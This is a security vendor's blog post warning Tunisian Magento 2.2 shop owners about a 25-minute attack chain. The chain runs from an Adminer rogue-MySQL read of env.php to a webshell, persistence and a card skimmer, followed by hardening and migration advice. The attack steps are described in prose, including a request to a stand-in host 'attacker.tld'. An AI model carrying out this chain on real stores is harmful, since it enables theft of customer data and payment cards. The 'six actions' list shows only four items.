According to Sansec, 56.7% of Magento stores exposed to the March 2026 PolyShell campaign were already compromised at scan time. More than half. And if your storefront still runs Magento 2.2 — end-of-life since December 2019, six years without official patches — your odds of being in that figure are not low. They are overwhelming.
This article describes, minute by minute, how an attacker turns a typical Magento 2.2 shop into a silent credit-card siphon. The full chain takes 25 minutes. No zero-days, no exceptional skill — just public vulnerabilities stacked on top of each other.
If you own an e-commerce business in Tunisia, read this through. If you have a CTO or a technical agency, forward them this article as-is.
What a scanner sees in 60 seconds on a typical TN-Magento store
Before touching the server, an attacker runs a passive scan. Here is what a misconfigured Magento 2.2 reveals immediately:
/magento_version publicly accessible → exact version confirmed
/adminer.php or /phpmyadmin/ exposed without IP restriction
X-Powered-By header leaking the stack (PHP, Plesk, etc.)
HSTS missing → TLS downgrade possible
CSP missing → perfect playground for Magecart skimmers
Session cookie without SameSite → CSRF-exploitable
/.well-known/security.txt missing → no responsible disclosure channel
Each item in isolation is minor. Stacked together, they draw a road map. And that's exactly what automated scanners publish on underground forums as ready-to-exploit target lists.
The attack chain, minute by minute
T+0 — Target discovery (passive)
The scanner detects a Magento signature in HTTP headers and resource paths. The shop lands on a Magento target list, sorted by version.
T+1 — Version confirmation
GET /magento_version. Response: Magento/2.2 (Community). The attacker now knows the server has received no official patch since late 2019. They check the CVE database for that version — the list spans several screens.
T+5 — Adminer SSRF exploitation
The attacker points /adminer.php at a malicious MySQL server they control. Adminer ≤ 4.7.9, when connecting to a remote MySQL, can be tricked via the CLIENT_LOCAL_FILES flag into executing a LOAD DATA LOCAL INFILE targeting /var/www/html/app/etc/env.php. That file holds the MySQL password in cleartext. The mechanic is fully documented publicly (next section).
T+10 — Full database dump
With real MySQL credentials, the attacker reconnects to Adminer — this time legitimately. They export customer_entity, sales_order, quote_address, customer_address_entity. Names, emails, phones, addresses, order history, password hashes. All shipped as a few hundred-megabyte .sql file.
T+15 — Webshell upload (PolyShell)
The PolyShell campaign documented by Sansec in March 2026 exploits an unauthenticated upload flaw in the Magento REST API. A polyglot PHP file lands in /pub/media/ — a directory meant for images only. From here, the attacker has a full PHP shell on the server, running as the Apache user.
T+20 — Persistence
Spare admin Magento account created, malicious cron task added, an SSH public key dropped into ~/.ssh/authorized_keys if the Apache user has the privilege. Even if you find the initial webshell tomorrow, the attacker has three more back doors.
T+25 — Skimmer injection (Magecart)
The final move. The attacker injects a JavaScript snippet into the checkout page template — either directly via the database (core_config_data), or via a compromised module. The script intercepts all payment fields and exfiltrates card numbers to a third-party domain on every checkout. With no CSP to block the domain and no template integrity monitoring, nobody notices until the first customer chargeback weeks later.
From T+25 onward, every card entered on your storefront is silently stolen.
Why Adminer + Magento 2.2 is an explosive combination
Attacker submits POST /adminer.php with server=attacker.tld (their own malicious MySQL server).
Adminer opens an outbound MySQL connection to attacker.tld:3306.
The attacker's MySQL server sends a greeting with CLIENT_LOCAL_FILES enabled.
The malicious server issues LOAD DATA LOCAL INFILE '/var/www/html/app/etc/env.php'.
Adminer, believing it is running a legitimate query, reads the local file and ships it to the remote MySQL server.
env.php contains host, user, and crucially password in cleartext.
The attacker reconnects to Adminer with the real credentials.
Full database access: customers, orders, password hashes.
Magento 2.2 amplifies the damage for three reasons:
No patches since 2019 — every CVE discovered since is exploitable.
CVE-2025-54236 "SessionReaper" (CVSS 9.1) — REST API auth bypass enabling admin account takeover and webshell installation. Adobe published APSB25-88; the 2.2 line does not receive the fix.
PolyShell (March 2026) — unauthenticated RCE via REST API. This is the campaign behind the Sansec statistic: 56.7% of stores already compromised.
A 2.2 storefront with Adminer exposed is not a theoretical risk. It's a countdown.
The 6 actions to take today (hand to your CTO as-is)
Do these six things today. Each takes five minutes, except step 3.
Remove /adminer.php — rm the file. If you must keep it, restrict by IP:
<Files "adminer.php"> Require ip YOUR.OFFICE.IP</Files>
Block /magento_version — Apache or nginx rule returning 404. Don't give your version away.
Inspect the checkout page for any JavaScript loading from an unexpected external domain.
Enable HSTS in Apache:
Header always set Strict-Transport-Security \ "max-age=31536000; includeSubDomains; preload"
These six actions do not fix the root issue — your Magento is still EOL — but they close the three most exploited entry points. If you find anything suspicious in step 3, 4 or 5: do not reboot the server (you'd lose memory needed for forensics), isolate it from the public network, and engage an incident-response firm.
Migrating to Magento 2.4.x: what to plan
Patching Magento 2.2 is no longer an option — there are no patches. The only durable answer is migration to Magento 2.4.x (or a platform change).
Scope items for your plan:
PHP compatibility — Magento 2.4.x requires PHP 8.1+, MySQL 8.0+, OpenSearch or Elasticsearch.
Extension audit — every third-party module installed on 2.2 must be re-validated or replaced. Many publishers are gone.
Theme — a custom 2.2 theme usually needs a partial rebuild for Hyvä or Luma 2.4.
Data — magento-migration-tool covers the DB; media files and certain custom attributes need manual work.
Window — count 6 to 12 weeks for a mid-size shop, depending on accumulated tech debt.
It's not a one-week sprint. It's a project. But it's cheaper than a customer data leak.
How do I know if I'm on Magento 2.2?
Open your-shop.tld/magento_version in a browser. If the response is Magento/2.2.x, you are. If the page returns 404, ask your technical team to check app/etc/.
I use a local hosting provider. Isn't it their responsibility?
Partly. The host manages OS and network. Magento, its extensions, and content remain your responsibility (and your integrator's). Get in writing who supervises what.
We're a small shop, who would attack us?
Nobody targets you by name. Scanners sweep by version, not by brand. A Magento 2.2 shop in Tunis is just as exploitable as one in Berlin. That's exactly what makes the Sansec figure so high: the attack is 100% automated.
What if I find a webshell in /pub/media/?
Do not power off the server (you lose RAM useful for forensics). Cut public access, take a full disk image, engage a qualified firm, and notify the INPDP within 72 hours if personal data leaked (Tunisia law 2004-63).
How much does an initial security audit cost?
A non-intrusive external audit (what an attacker sees in 60 seconds) typically takes 30 minutes and identifies 80% of the gaps. That's the format we offer free as a mission opener — see below.
Free 30-minute security audit
We offer every e-commerce shop in Tunisia a 30-minute non-intrusive external audit. No server access required: we scan what is publicly visible and hand you a report with vulnerabilities ranked by severity, plus the prioritised action plan.
It's exactly what an attacker does in 60 seconds — except you see the report first.
